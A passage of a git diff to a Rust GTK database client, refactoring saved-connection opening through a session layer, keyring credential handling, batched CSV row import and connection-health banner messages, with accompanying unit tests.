imported.") - } - }; - sender_clone.input(AppMsg::ReloadConnections); - sender_clone.input(AppMsg::ShowToast(message)); - }) - .drop_on_shutdown() - }); + drop(spawner.spawn_task(async move { + let imported = tasks + .spawn_blocking_task(move || connections.import_blocking(&path, &bytes)) + .await; + let message = match imported { + Ok(Ok(report)) if report.total() == 0 => crate::i18n::gettext("That file has no connections in it."), + Ok(Ok(report)) => crate::i18n::ngettext_f( + "Imported {n} connection.", + "Imported {n} connections.", + report.total() as u32, + &[("n", &report.total().to_string())], + ), + Ok(Err(error)) => { + tracing::warn!(%error, "could not import the connections"); + crate::i18n::gettext("That file is not a TablePro connection export.") + } + Err(error) => { + tracing::warn!(%error, "the import task did not finish"); + crate::i18n::gettext("The connections could not be imported.") + } + }; + sender_clone.input(AppMsg::ReloadConnections); + sender_clone.input(AppMsg::ShowToast(message)); + })); } pub(super) fn on_open_saved(&mut self, saved: SavedConnection, sender: ComponentSender) { self.connections_popover.popdown(); + let key = SessionKey::Saved(saved.id); + if self.session_links.as_ref().is_some_and(|links| links.key == key) { + self.show_toast(&crate::i18n::gettext("This connection is already open.")); + return; + } + if self.context.active.is_connected() { + self.confirm_teardown(Teardown::Switch, AppMsg::OpenSavedConfirmed(saved), sender); + return; + } + self.connect_saved(saved, sender); + } + + pub(super) fn connect_saved(&mut self, saved: SavedConnection, sender: ComponentSender) { + let key = SessionKey::Saved(saved.id); self.set_loading_page( &crate::i18n::gettext("Connecting…"), &crate::i18n::gettext_f("Opening {name}", &[("name", &saved.name)]), + &sender, ); - let driver_id = saved.driver_id.clone(); - let registry = self.registry.clone(); - let secrets = self.storage.secrets().clone(); - let sender_clone = sender.clone(); - sender.command(move |_, shutdown| { - shutdown - .register(async move { - match connection_service::open_saved(registry, secrets, saved).await { - Ok(tables) => sender_clone.input(AppMsg::Connected { tables, driver_id }), - Err(e) => sender_clone.input(AppMsg::LoadFailed(None, e)), - } - }) - .drop_on_shutdown() + let ticket = self.connect_attempts.begin(); + let generation = ticket.generation(); + let cancel = ticket.cancel().clone(); + let drivers = self.context.drivers.clone(); + let connector = self.context.connector.clone(); + let interaction = self.context.attended(); + let credentials = self.context.keyring_credentials(&saved); + let source: Arc = Arc::new(credentials.clone()); + let retry = ConnectRetry { + prefill: ConnectPrefill { + connection: saved.clone(), + password: None, + }, + remedy: None, + }; + // Reading the keyring, asking for what it lacks and connecting + // all happen off the GTK thread; only the outcome comes back. + let connecting = async move { + let refreshed = tablepro_session::resolve_saved( + &saved, + &drivers, + &credentials, + interaction.clone(), + CredentialDemand::default(), + ) + .await?; + let pending = connector.establish(refreshed.request, interaction, cancel).await?; + // A secret typed into a prompt is kept only once the login + // it was typed for has worked. + let refused = credentials.remember(refreshed.remember).await; + Ok::<_, ConnectError>((pending, refused)) + }; + crate::runtime::spawn_and_deliver(&self.tasks, connecting, move |outcome| match outcome { + Ok(Ok((pending, refused))) => sender.input(AppMsg::SessionReady(Box::new(ReadySession { + key, + pending, + credentials: source, + warnings: refused + .iter() + .map(|(_, error)| crate::services::secret_save_report::not_saved_message(error)) + .collect(), + generation: Some(generation), + }))), + Ok(Err(ConnectError::Cancelled)) => sender.input(AppMsg::ConnectFailed { + generation, + message: None, + edit: None, + }), + Ok(Err(error)) => sender.input(AppMsg::ConnectFailed { + generation, + message: Some(crate::ui::error_text::connect_error_message(&error)), + edit: Some(Box::new(ConnectRetry { + remedy: crate::ui::error_text::connect_remedy(&error), + ..retry + })), + }), + Err(failure) => sender.input(AppMsg::ConnectFailed { + generation, + message: Some(crate::ui::error_text::task_failure_message(&failure)), + edit: Some(Box::new(retry)), + }), }); } - pub(super) fn repopulate_sidebar(&mut self, tables: &[TableInfo]) { + /// Only what the grid can page through goes in the sidebar. + pub(super) fn repopulate_sidebar(&mut self, objects: &[ObjectInfo]) { + let objects = browsable(objects.to_vec()); { let mut schemas = self.sidebar_schemas.borrow_mut(); schemas.clear(); - schemas.extend(tables.iter().map(|t| t.schema.clone())); + schemas.extend(objects.iter().map(|object| object.schema.clone())); } let mut guard = self.sidebar_factory.guard(); guard.clear(); - for table in tables { - guard.push_back(table.clone()); + for object in objects { + guard.push_back(object); } drop(guard); self.sidebar_factory.widget().invalidate_headers(); } - /// Surfaces connection health via `adw::Banner` only when degraded — - /// healthy/disconnected states show no chrome, matching GNOME apps that - /// reserve banners for "abnormal, user-actionable" situations (Files - /// uses the same pattern for unmounted volumes). - pub(super) fn refresh_health_banner(&self, health: Option) { - match health { - Some(ConnectionHealth::Reconnecting { attempt }) => { - self.reconnect_banner.set_title(&crate::i18n::gettext_f( - "Connection lost. Reconnecting (attempt {n}, will keep retrying)", - &[("n", &attempt.to_string())], - )); + /// Surfaces session health via `adw::Banner` only when degraded: + /// GNOME apps reserve banners for abnormal, user-actionable states. + pub(super) fn refresh_health_banner(&self, health: &SessionHealth) { + match health_banner_text(health) { + Some(title) => { + self.reconnect_banner.set_title(&title); self.reconnect_banner.set_revealed(true); } - _ => self.reconnect_banner.set_revealed(false), + None => self.reconnect_banner.set_revealed(false), } } @@ -530,7 +894,7 @@ impl App { // when the tab strip already serves that role. Matches GNOME // Builder (subtitle = branch name only) and Text Editor // (subtitle = filename only) — short, single-purpose. - let metadata = database_service::instance().active_metadata(); + let metadata = self.context.active.metadata(); let connection_name = metadata.as_ref().map(|m| m.name.as_str()); let active = self.selected_browse_slot_table(); let table_pair = active.as_ref().map(|(s, t)| (s.as_deref(), t.as_str())); @@ -612,35 +976,32 @@ fn execute_delete_connection( sender: ComponentSender, ) { let sender_clone = sender.clone(); - sender.command(move |_, shutdown| { - shutdown - .register(async move { - // Secrets first: an entry with no secrets is recoverable, - // a secret with no entry is orphaned in the keyring. - if let Err(error) = secrets.delete_connection(id).await { - // Keep the entry: an entry with no secrets can be - // fixed, a secret with no entry is orphaned. - tracing::warn!(%error, "could not delete the connection secrets; keeping the entry"); - sender_clone.input(AppMsg::SecretDeleteFailed(id)); - return; - } - let removed = tasks.spawn_blocking_task(move || connections.remove_blocking(id)).await; - if let Ok(Err(error)) = removed { - tracing::warn!(%error, "could not remove the saved connection"); - } - // The queries saved here name tables only this database - // has, so they go with it. A failure leaves them listed - // under the connection's last name, which the user can - // still delete one by one. - if let Some(saved_queries) = saved_queries - && let Err(error) = saved_queries.delete_for_connection(id).await - { - tracing::warn!(%error, "could not remove the connection's saved queries"); - } - sender_clone.input(AppMsg::ReloadConnections); - }) - .drop_on_shutdown() - }); + let spawner = tasks.clone(); + drop(spawner.spawn_task(async move { + // Secrets first: an entry with no secrets is recoverable, + // a secret with no entry is orphaned in the keyring. + if let Err(error) = secrets.delete_connection(id).await { + // Keep the entry: an entry with no secrets can be + // fixed, a secret with no entry is orphaned. + tracing::warn!(%error, "could not delete the connection secrets; keeping the entry"); + sender_clone.input(AppMsg::SecretDeleteFailed(id)); + return; + } + let removed = tasks.spawn_blocking_task(move || connections.remove_blocking(id)).await; + if let Ok(Err(error)) = removed { + tracing::warn!(%error, "could not remove the saved connection"); + } + // The queries saved here name tables only this database + // has, so they go with it. A failure leaves them listed + // under the connection's last name, which the user can + // still delete one by one. + if let Some(saved_queries) = saved_queries + && let Err(error) = saved_queries.delete_for_connection(id).await + { + tracing::warn!(%error, "could not remove the connection's saved queries"); + } + sender_clone.input(AppMsg::ReloadConnections); + })); } impl App { @@ -731,3 +1092,102 @@ fn json_filters() -> gio::ListStore { filters.append(&json_filter()); filters } + +/// Only what the grid can page through: routines and sequences have no +/// rows to show. +fn browsable(objects: Vec) -> Vec { + objects + .into_iter() + .filter(|object| object.kind.is_browsable()) + .collect() +} + +/// The banner's sentence for a session that needs attention, `None` +/// while it is online. +fn health_banner_text(health: &SessionHealth) -> Option { + match health { + SessionHealth::Online => None, + SessionHealth::Reconnecting { attempt } => Some(crate::i18n::gettext_f( + "Connection lost. Reconnecting (attempt {n}).", + &[("n", &attempt.to_string())], + )), + SessionHealth::Offline => Some(crate::i18n::gettext( + "The server cannot be reached. TablePro will keep checking.", + )), + SessionHealth::Failed { cause } => Some(failed_banner_text(*cause)), + } +} + +fn failed_banner_text(cause: tablepro_session::FailureCause) -> String { + use tablepro_session::FailureCause; + match cause { + FailureCause::Authentication => { + crate::i18n::gettext("The server refused the login. Retry to enter the password again.") + } + FailureCause::Tls => crate::i18n::gettext("The secure connection failed. Check the connection's TLS settings."), + FailureCause::Configuration => { + crate::i18n::gettext("The connection settings no longer work. Check them and retry.") + } + FailureCause::HostKeyUnknown => crate::i18n::gettext("The SSH server's host key is not trusted yet."), + FailureCause::HostKeyChanged => crate::i18n::gettext( + "The SSH server's host key changed. Check with its administrator before connecting again.", + ), + FailureCause::HostKeyRevoked => crate::i18n::gettext("The SSH server's host key was revoked."), + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::meta::ObjectKind; + use tablepro_session::FailureCause; + + use super::*; + + fn object(name: &str, kind: ObjectKind) -> ObjectInfo { + ObjectInfo { + schema: Some("public".to_owned()), + name: name.to_owned(), + kind, + } + } + + #[test] + fn the_sidebar_lists_only_what_the_grid_can_page() { + let listed = browsable(vec![ + object("users", ObjectKind::Table), + object("active_users", ObjectKind::View), + object("next_id", ObjectKind::Sequence), + object("refresh", ObjectKind::Function), + ]); + + let names: Vec<&str> = listed.iter().map(|object| object.name.as_str()).collect(); + assert_eq!(names, ["users", "active_users"]); + } + + #[test] + fn the_banner_shows_only_when_the_session_needs_attention() { + assert_eq!(health_banner_text(&SessionHealth::Online), None); + let reconnecting = health_banner_text(&SessionHealth::Reconnecting { attempt: 3 }).expect("a banner"); + assert!(reconnecting.contains('3'), "{reconnecting}"); + assert!(health_banner_text(&SessionHealth::Offline).is_some()); + } + + #[test] + fn each_parked_cause_has_its_own_banner() { + let causes = [ + FailureCause::Authentication, + FailureCause::Tls, + FailureCause::Configuration, + FailureCause::HostKeyUnknown, + FailureCause::HostKeyChanged, + FailureCause::HostKeyRevoked, + ]; + + let texts: std::collections::HashSet = causes + .into_iter() + .map(|cause| health_banner_text(&SessionHealth::Failed { cause }).expect("a banner")) + .collect(); + + assert_eq!(texts.len(), causes.len()); + } +} diff --git a/linux/crates/app/src/ui/app/import.rs b/linux/crates/app/src/ui/app/import.rs index c09548c1a1..a89b298624 100644 --- a/linux/crates/app/src/ui/app/import.rs +++ b/linux/crates/app/src/ui/app/import.rs @@ -1,8 +1,16 @@ +use std::sync::Arc; + use relm4::adw::prelude::*; use relm4::gtk::{gio, glib}; use relm4::{Component, ComponentController, ComponentSender, gtk}; -use crate::services::database_service; +use tablepro_core::dialect::SqlDialect; +use tablepro_core::edit::CellInput; +use tablepro_core::meta::TableRef; +use tablepro_core::statement::GuardedStatement; +use tablepro_core::{ColumnInfo, ForeignKeyMode, WriteBatch, WriteKind, WriteReport}; +use tablepro_session::{OperationError, OperationKind, Session}; + use crate::ui::import_dialog::CsvImport; use super::ran_statements::RanStatements; @@ -16,11 +24,11 @@ impl App { /// Ask for a CSV, then read it and the table's columns together so /// the mapping dialog opens with both. pub(super) fn on_import_csv_requested(&self, schema: Option, table: String, sender: ComponentSender) { - if database_service::instance().active().is_none() { + let Some(session) = self.context.active.get() else { self.show_toast(&crate::i18n::gettext("Connect to a database first.")); return; - } - if database_service::instance().is_active_read_only() { + }; + if session.read_only() { self.show_toast(&crate::i18n::gettext("This connection is read-only.")); return; } @@ -40,6 +48,7 @@ impl App { .build(); let input = sender.input_sender().clone(); + let tasks = self.context.tasks.clone(); dialog.open(Some(&self.window), gio::Cancellable::NONE, move |outcome| { let Ok(file) = outcome else { return }; let too_big = file @@ -55,32 +64,38 @@ impl App { let input = input.clone(); let schema = schema.clone(); let table = table.clone(); + let session = session.clone(); + let tasks = tasks.clone(); glib::spawn_future_local(async move { let Ok((bytes, _etag)) = file.load_contents_future().await else { let _ = input.send(AppMsg::ShowToast(crate::i18n::gettext("That file could not be read."))); return; }; - let Some(connection) = database_service::instance().active() else { - return; - }; - // The mapping is against the table's own columns, so - // the dialog cannot open until they are read. - match connection.fetch_columns(schema.as_deref(), &table).await { - Ok(columns) => { - let _ = input.send(AppMsg::ImportCsvReady { - schema, - table, - columns, - bytes: bytes.to_vec(), - }); - } - Err(error) => { + // The mapping is against the table's own columns, so the + // dialog cannot open until they are read. The read runs + // on the runtime: a driver future polled here has no + // tokio context to run in. + let table_ref = TableRef::new(schema.clone(), table.clone()); + let columns = match tasks.spawn_task(read_columns(session, table_ref)).await { + Ok(Ok(columns)) => columns, + Ok(Err(error)) => { tracing::warn!(%error, "could not read the table to import into"); let _ = input.send(AppMsg::ShowToast(crate::i18n::gettext( "The table's columns could not be read.", ))); + return; } - } + Err(failure) => { + tracing::warn!(%failure, "the column read did not finish"); + return; + } + }; + let _ = input.send(AppMsg::ImportCsvReady { + schema, + table, + columns, + bytes: bytes.to_vec(), + }); }); }); } @@ -110,122 +125,268 @@ impl App { self.import_dialog = Some(dialog); } - /// Read the whole file, turn every row into an INSERT and run them - /// as one transaction, so a file either lands whole or not at all. + /// Read the whole file, turn every row into an INSERT and write them + /// as one batch, so a file either lands whole or not at all. pub(super) fn on_import_csv_run(&self, import: CsvImport, sender: ComponentSender) { - let Some(connection) = database_service::instance().active() else { + let Some(session) = self.context.active.get() else { self.show_toast(&crate::i18n::gettext("Connect to a database first.")); return; }; - let Some(driver_id) = self.current_driver_id.clone() else { - return; - }; - let statements = match build_import_statements(&import, &driver_id) { - Ok(statements) => statements, + let rows = match import_rows(&import) { + Ok(rows) => rows, Err(message) => { self.show_error_alert(&crate::i18n::gettext("Couldn't import"), &message); return; } }; - if statements.is_empty() { + if rows.is_empty() { self.show_toast(&crate::i18n::gettext("That file has no rows to import.")); return; } - let count = statements.len(); - tracing::info!( - rows = count, - sample = ?statements.iter().take(IMPORT_LOG_SAMPLE).map(|(sql, _)| sql).collect::>(), - "importing a CSV" - ); - // An import changes the database, so it belongs in the same - // history as a statement run from the editor. - let ran = RanStatements::starting( - self.history.store(), - statements.iter().map(|(sql, _)| sql.clone()).collect::>(), - ); - let sender_for_cmd = sender.clone(); - sender.command(move |_, shutdown| { - shutdown - .register(async move { - match connection.execute_in_transaction(&statements).await { - Ok(affected) => { - let touched: u64 = affected.iter().copied().sum(); - ran.finished( - i64::try_from(touched).ok(), - tablepro_storage::query_history::Outcome::Success, - ) - .await; - sender_for_cmd.input(AppMsg::RefreshPage); - sender_for_cmd.input(AppMsg::ShowToast(crate::i18n::ngettext_f( - "Imported {n} row.", - "Imported {n} rows.", - count as u32, - &[("n", &count.to_string())], - ))); - } - Err(error) => { - let message = crate::ui::error_text::driver_message(&error); - ran.finished(None, tablepro_storage::query_history::Outcome::Error(message.clone())) - .await; - sender_for_cmd.input(AppMsg::ShowAlert { - title: crate::i18n::gettext("Couldn't import"), - body: message, - }); - } - } - }) - .drop_on_shutdown() + let count = rows.len(); + let table = TableRef::new(import.schema.clone(), import.table.clone()); + let history = self.history.store(); + let connection = self.context.active.metadata(); + self.context.tasks.spawn_task(async move { + let written = write_import(&session, table, import.columns, rows).await; + match written { + Ok((sql, report)) => { + // An import changes the database, so it belongs in + // the same history as a statement run from the editor. + let touched = report.total_rows().and_then(|rows| i64::try_from(rows).ok()); + RanStatements::starting(history, connection, sql) + .finished(touched, tablepro_storage::query_history::Outcome::Success) + .await; + sender.input(AppMsg::RefreshPage); + sender.input(AppMsg::ShowToast(crate::i18n::ngettext_f( + "Imported {n} row.", + "Imported {n} rows.", + u32::try_from(count).unwrap_or(u32::MAX), + &[("n", &count.to_string())], + ))); + } + Err(error) => { + let message = crate::ui::error_text::operation_error_message(&error); + sender.input(AppMsg::ShowAlert { + title: crate::i18n::gettext("Couldn't import"), + body: message, + }); + } + } }); } } -/// Every row of the file as an INSERT, or the first row that could not -/// be turned into one. +async fn read_columns(session: Arc, table: TableRef) -> Result, OperationError> { + session + .run(OperationKind::Metadata, move |lease, options| { + let table = table.clone(); + async move { Ok(lease.fetch_columns(&table, options).await?) } + }) + .await +} + +/// Write the rows as one batch on the connection that runs it, giving +/// back the SQL it ran for the history. +async fn write_import( + session: &Session, + table: TableRef, + columns: Vec, + rows: Vec>, +) -> Result<(Vec, WriteReport), OperationError> { + let rows = Arc::new(rows); + session + .run(OperationKind::Save(WriteKind::RowChanges), move |lease, options| { + let table = table.clone(); + let columns = columns.clone(); + let rows = rows.clone(); + async move { + let batch = import_batch(&*lease.dialect(), &table, &columns, &rows)?; + let sql: Vec = batch.steps.iter().map(|step| step.statement.sql().to_owned()).collect(); + tracing::info!( + rows = rows.len(), + sample = ?sql.iter().take(IMPORT_LOG_SAMPLE).collect::>(), + "importing a CSV" + ); + let report = lease.write_batch(&batch, options).await?; + Ok((sql, report)) + } + }) + .await +} + +/// One INSERT per row, as a single batch so the engine runs them in +/// one transaction where it has one. +fn import_batch( + dialect: &dyn SqlDialect, + table: &TableRef, + columns: &[ColumnInfo], + rows: &[Vec], +) -> Result { + let steps = rows + .iter() + .map(|cells| tablepro_core::dml::build_insert(dialect, table, columns, cells).map(GuardedStatement::unguarded)) + .collect::, _>>()?; + Ok(WriteBatch::new( + WriteKind::RowChanges, + table.clone(), + steps, + ForeignKeyMode::Enforced, + )) +} + +/// Every row of the file as the cells to insert, or the first row that +/// could not be read. /// /// The whole file is read here rather than in the dialog, which only /// ever saw the preview. -fn build_import_statements( - import: &CsvImport, - driver_id: &str, -) -> Result)>, String> { +fn import_rows(import: &CsvImport) -> Result>, String> { use tablepro_core::import::{read_csv, row_to_cells}; let sheet = read_csv(&import.bytes, &import.options, None).map_err(|error| error.to_string())?; - let dialect = tablepro_core::dialect::dialect_for(driver_id); - let table_ref = tablepro_core::meta::TableRef { - schema: import.schema.clone(), - name: import.table.clone(), - }; // The header takes the first line when there is one, so the first // data row is line 2 in the file the user is looking at. let first_line = if import.options.has_header { 2 } else { 1 }; - let mut statements = Vec::with_capacity(sheet.rows.len()); - for (index, row) in sheet.rows.iter().enumerate() { - let cells = row_to_cells( - row, - &import.mapping, - &import.columns, - &import.options, - first_line + index, - ) - .map_err(|error| { - crate::i18n::gettext_f( - "Line {line}, column {column}: {reason} (the value was “{text}”)", - &[ - ("line", &error.line.to_string()), - ("column", &error.column), - ("reason", &error.reason), - ("text", &error.text), - ], + sheet + .rows + .iter() + .enumerate() + .map(|(index, row)| { + row_to_cells( + row, + &import.mapping, + &import.columns, + &import.options, + first_line + index, ) - })?; - let statement = tablepro_core::dml::build_insert(dialect, &table_ref, &import.columns, &cells) - .map_err(|error| error.to_string())?; - // `execute_in_transaction` takes plain values; the types the - // builder bound are already spelled out in the SQL it wrote. - let (sql, params) = statement.into_parts(); - statements.push((sql, params.into_iter().map(|param| param.value().clone()).collect())); + .map_err(|error| { + crate::i18n::gettext_f( + "Line {line}, column {column}: {reason} (the value was “{text}”)", + &[ + ("line", &error.line.to_string()), + ("column", &error.column), + ("reason", &error.reason), + ("text", &error.text), + ], + ) + }) + }) + .collect() +} + +#[cfg(test)] +mod tests { + use tablepro_core::column::{ColumnDefault, ColumnKind, ColumnType, TextLength}; + use tablepro_core::{LivenessPolicy, Value}; + use tablepro_session::fakes::{FakeConnector, FakeCredentialSource}; + use tablepro_session::operation::DefaultDeadlines; + use tablepro_session::{SessionDeps, SessionHealth}; + use tablepro_test_support::{CallCounters, ConnectionScript, FakeConnection, FakeReply}; + + use super::*; + + fn column(name: &str) -> ColumnInfo { + let mut column_type = ColumnType::untyped_text("text"); + column_type.kind = ColumnKind::Text { + length: TextLength::Unbounded, + }; + ColumnInfo { + name: name.to_owned(), + column_type, + nullable: true, + primary_key: false, + is_auto_increment: false, + is_generated: false, + default: ColumnDefault::None, + comment: None, + } + } + + fn session(script: ConnectionScript) -> (Arc, Arc) { + let (pending, connection) = FakeConnector::pending_session(FakeConnector::request().unwrap(), script); + let session = Session::start( + pending, + SessionDeps { + connector: Arc::new(FakeConnector::new([])), + credentials: Arc::new(FakeCredentialSource::new()), + deadlines: Arc::new(DefaultDeadlines::new(LivenessPolicy::DESKTOP)), + tasks: crate::test_support::paused_tasks(), + prompter: None, + }, + ); + (session, connection) + } + + fn import(bytes: &str) -> CsvImport { + CsvImport { + schema: None, + table: "people".to_owned(), + columns: vec![column("name"), column("city")], + mapping: vec![Some(0), Some(1)], + options: tablepro_core::import::CsvImportOptions::default(), + bytes: bytes.as_bytes().to_vec(), + } + } + + #[tokio::test(flavor = "multi_thread", worker_threads = 1)] + async fn csv_import_reads_columns_through_session() { + let mut script = ConnectionScript::default(); + script + .fetch_columns + .always(FakeReply::ok(vec![column("name"), column("city")])); + let (session, connection) = session(script); + + let columns = crate::test_support::paused_tasks() + .spawn_task(read_columns(session.clone(), TableRef::unqualified("people"))) + .await + .unwrap() + .unwrap(); + + assert_eq!(columns.len(), 2); + assert_eq!(CallCounters::get(&connection.counters().fetch_columns), 1); + assert_eq!(*session.health().borrow(), SessionHealth::Online); + } + + #[tokio::test(flavor = "multi_thread", worker_threads = 1)] + async fn an_import_is_one_batch_with_an_insert_per_row() { + let mut script = ConnectionScript::default(); + script + .write_batch + .always(FakeReply::ok(WriteReport::new(vec![Some(1), Some(1)]))); + let (session, connection) = session(script); + let import = import("name,city\nAda,London\nGrace,\n"); + let rows = import_rows(&import).unwrap(); + + let (sql, report) = write_import(&session, TableRef::unqualified("people"), import.columns, rows) + .await + .unwrap(); + + assert_eq!(sql.len(), 2); + assert!(sql.iter().all(|statement| statement.starts_with("INSERT")), "{sql:?}"); + assert_eq!(report.total_rows(), Some(2)); + assert_eq!(CallCounters::get(&connection.counters().write_batch), 1); + } + + #[test] + fn a_bad_row_names_its_line_in_the_file() { + let mut bad = import("name,city\nAda,London\n"); + bad.columns[1].column_type.kind = ColumnKind::Integer(tablepro_core::column::IntegerKind { + width: tablepro_core::column::IntegerWidth::W32, + signed: true, + }); + + let message = import_rows(&bad).unwrap_err(); + + assert!(message.contains('2'), "{message}"); + assert!(message.contains("London"), "{message}"); + } + + #[test] + fn an_empty_field_is_kept_as_what_the_file_said() { + let rows = import_rows(&import("name,city\nGrace,\n")).unwrap(); + + assert_eq!(rows.len(), 1); + assert_eq!(rows[0][0], CellInput::Value(Value::Text("Grace".to_owned()))); } - Ok(statements) } diff --git a/linux/crates/app/src/ui/app/mod.rs b/linux/crates/app/src/ui/app/mod.rs index d40df5d546..0221d66c43 100644 --- a/linux/crates/app/src/ui/app/mod.rs +++ b/linux/crates/app/src/ui/app/mod.rs @@ -5,6 +5,7 @@ mod ran_statements; mod row_ops; mod status_pages; mod structure; +mod teardown_guard; mod workspace_tabs; use std::sync::Arc; @@ -15,7 +16,9 @@ use relm4::gtk::{gio, glib}; use relm4::prelude::*; use relm4::{Controller, adw, gtk}; -use tablepro_core::{ColumnInfo, DriverRegistry, QueryResult, TableInfo, Value}; +use tablepro_core::meta::ObjectInfo; +use tablepro_core::{ColumnInfo, QueryResult}; +use tablepro_session::SessionHealth; use tablepro_storage::SavedConnection; use uuid::Uuid; @@ -26,7 +29,9 @@ use super::editor::{SqlEditor, build_schema_buffer}; use super::history_dialog::HistoryDialog; use super::sidebar_row::{SidebarRow, SidebarRowOutput}; use super::welcome_view::{WelcomeView, WelcomeViewInit, WelcomeViewOutput}; -use crate::services::database_service::ConnectionHealth; +use crate::services::session_context::SessionContext; + +pub(crate) use connection::{ConnectRetry, ReadySession}; /// Decrement a tab's pending-save counter in the close-after-save map. /// Returns `true` if the entry just dropped to zero (the caller should @@ -47,10 +52,12 @@ pub(super) fn dec_close_after_save(map: &mut std::collections::HashMap, + pub context: std::rc::Rc, + /// Credential prompts waiting for a window to show them in. + pub prompts: crate::ui::credential_prompt::PromptQueue, pub settings: std::rc::Rc, pub storage: crate::storage::SharedStorage, pub tasks: tablepro_session::runtime::Tasks, @@ -58,7 +65,14 @@ pub struct AppInit { } pub struct App { - registry: Arc, + context: std::rc::Rc, + /// The adopted session's claim and watchers. Dropping it releases + /// the registry key and stops the banner and sidebar updates. + session_links: Option, + /// Ends the credential prompt loop with the window. + prompt_presenter: glib::JoinHandle<()>, + /// Which connect attempt is current, so a late result is discarded. + connect_attempts: tablepro_session::ConnectAttempts, settings: std::rc::Rc, storage: crate::storage::SharedStorage, tasks: tablepro_session::runtime::Tasks, @@ -88,7 +102,6 @@ pub struct App { /// be reinstalled whenever the list changes. connections_listbox: gtk::ListBox, connections_popover: gtk::Popover, - health_state: Option, row_op_spinner: adw::Spinner, read_only_badge: gtk::Label, table_search: gtk::SearchEntry, @@ -106,7 +119,7 @@ pub struct App { /// HashMap for O(1) tab_id lookup; display order is read from /// `tab_view.pages()` since HashMap is unordered. workspace_tabs: std::rc::Rc>>, - dialog: Option>, + dialog: Option, schema_buffer: gtk::TextBuffer, history_dialog: Option>, saved_queries_dialog: Option>, @@ -197,7 +210,7 @@ pub(super) const CLOSED_TABS_CAPACITY: usize = 10; const WORKSPACE_PERSIST_DELAY: std::time::Duration = std::time::Duration::from_millis(500); pub struct EditorTabSlot { - pub controller: Controller, + pub editor: SqlEditor, pub page: adw::TabPage, /// The file this tab's text is written to. The text itself lives in /// the buffer, not here. @@ -309,10 +322,30 @@ pub(super) fn read_workspace_tab_id(page: &adw::TabPage) -> Option { #[derive(Debug)] pub enum AppMsg { OpenConnect, - Connected { - tables: Vec, - driver_id: String, + /// A connect worked; adopt its session in this window. + SessionReady(Box), + /// The connect dialog's Connect: connect, then save the entry. + ConnectSubmitted(Box), + /// The same, once the user agreed to close the open workspace. + ConnectSubmissionConfirmed(Box), + /// A connect failed. `None` when the user cancelled it, which needs + /// no error. `edit` reopens the dialog on what was submitted. + ConnectFailed { + generation: tablepro_session::connect::AttemptGeneration, + message: Option, + edit: Option>, }, + /// The Cancel button on the Connecting toast. + CancelConnect, + /// Open the connect dialog on a connection that failed to connect, + /// with the focus on the row that fixes it. + EditConnection(Box), + /// The banner's Retry: ask the monitor to reconnect now. + RetryConnection, + /// The adopted session's health moved. + HealthChanged(SessionHealth), + /// A reconnect read the catalog again. + CatalogChanged(Vec), DialogClosed, SelectTable { schema: Option, @@ -324,13 +357,15 @@ pub enum AppMsg { /// `Some(tab_id)` for tab-scoped failures; `None` for app-level /// failures (e.g. connect failure during open_saved). LoadFailed(Option, String), - RowOpStarted, ReloadConnections, ConnectionsLoaded(Vec), ConnectionListUnavailable, ResetConnectionList, SecretDeleteFailed(Uuid), OpenSaved(SavedConnection), + /// Open a saved connection once the user agreed to close the open + /// workspace. + OpenSavedConfirmed(SavedConnection), DeleteConnection(Uuid), DuplicateConnection(SavedConnection), /// "+ New query" button or Ctrl+T → append a new editor tab. @@ -384,11 +419,9 @@ pub enum AppMsg { OpenHistoryQuery(String), ReplaceActiveTabQuery(String), Disconnect, - /// Skip the dirty-state confirmation and tear the connection - /// down immediately. Fired from the disconnect-with-pending - /// AlertDialog's "Discard and disconnect" response. + /// Tear the connection down, once nothing would be lost or the user + /// agreed to lose it. ForceDisconnect, - PollHealth, RefreshPage, ShowAbout, ShowPreferences, @@ -427,25 +460,22 @@ pub enum AppMsg { /// triggers persistence (writes the current display order + each /// slot's state to workspace_state.json). WorkspaceTabsChanged, - /// Run a sequence of pending-changeset statements inside a single - /// DB transaction. Materialised by a BrowseTab's change tracker - /// when the user clicks Save. App calls - /// `Connection::execute_in_transaction` and dispatches + /// Save a BrowseTab's pending changes as one batch, planned on the + /// connection that runs it. App dispatches /// `BrowseTabInput::SaveCompleted` / `SaveFailed` back via the /// per-tab controller. ExecuteBrowseTransaction { tab_id: Uuid, - statements: Vec<(String, Vec)>, - sources: Vec, + table: tablepro_core::meta::TableRef, + columns: Vec, + changes: crate::services::change_tracker::TrackedChanges, }, /// Inline-Save resolved successfully for a specific browse tab. /// Routes through App.update so we can reset the row-op spinner /// before forwarding `BrowseTabInput::SaveCompleted` to the tab. - /// `warning` is `Some(msg)` when the transaction committed but at - /// least one UPDATE / DELETE statement matched zero rows — typically - /// a concurrent modification by another session. The user sees a - /// toast so a phantom save doesn't pass silently. - SaveCompletedForTab(Uuid, Option), + /// A row another session changed fails the save's row guard, so a + /// completed save touched exactly the rows it named. + SaveCompletedForTab(Uuid), /// Inline-Save failed; transaction was already rolled back. SaveFailedForTab(Uuid, String), /// Driver reported `DriverError::Transaction { statement_index }`. @@ -543,19 +573,16 @@ pub enum AppMsg { }, /// Structure tab Save failed; tracker is intact for retry. StructureSaveFailed(Uuid, String), - /// Structure tab Edit-mode init triggers introspection. App fans - /// out fetch_columns / fetch_indexes / fetch_foreign_keys and - /// dispatches the Loaded variants below. + /// Structure tab Edit-mode init triggers introspection. FetchStructureData { tab_id: Uuid, }, - /// Coalesced load result — columns + indexes + FKs together so - /// the Structure tab rebuilds its list views once, not three times. + /// The table as one definition, read in one call, with the dialect + /// of the connection that read it, which the tab spells its DDL in. StructureDataLoaded { tab_id: Uuid, - columns: Vec, - indexes: Vec, - fks: Vec, + definition: Box, + dialect: Arc, }, StructureLoadFailed { tab_id: Uuid, @@ -575,7 +602,7 @@ pub enum AppMsg { /// Result of `list_tables` after a SchemaChanged event. Rebuilds /// the sidebar factory without going through the full Connected /// path. - TablesReloaded(Vec), + TablesReloaded(Vec), /// Ctrl+Shift+T → pop the most recent closed-tab descriptor and /// reopen it. No-op when the stack is empty (e.g. no tabs closed /// yet, or just reconnected). Editor tabs come back with their @@ -787,7 +814,8 @@ impl SimpleComponent for App { fn init(init: Self::Init, root: Self::Root, sender: ComponentSender) -> ComponentParts { let AppInit { - registry, + context, + prompts, settings, storage, tasks, @@ -1248,8 +1276,12 @@ impl SimpleComponent for App { WelcomeViewOutput::SetGroup(id, group) => AppMsg::SetConnectionGroup(id, group), }); + let prompt_presenter = crate::ui::credential_prompt::CredentialPromptPresenter::start(prompts, &root); let model = App { - registry, + context, + session_links: None, + prompt_presenter, + connect_attempts: 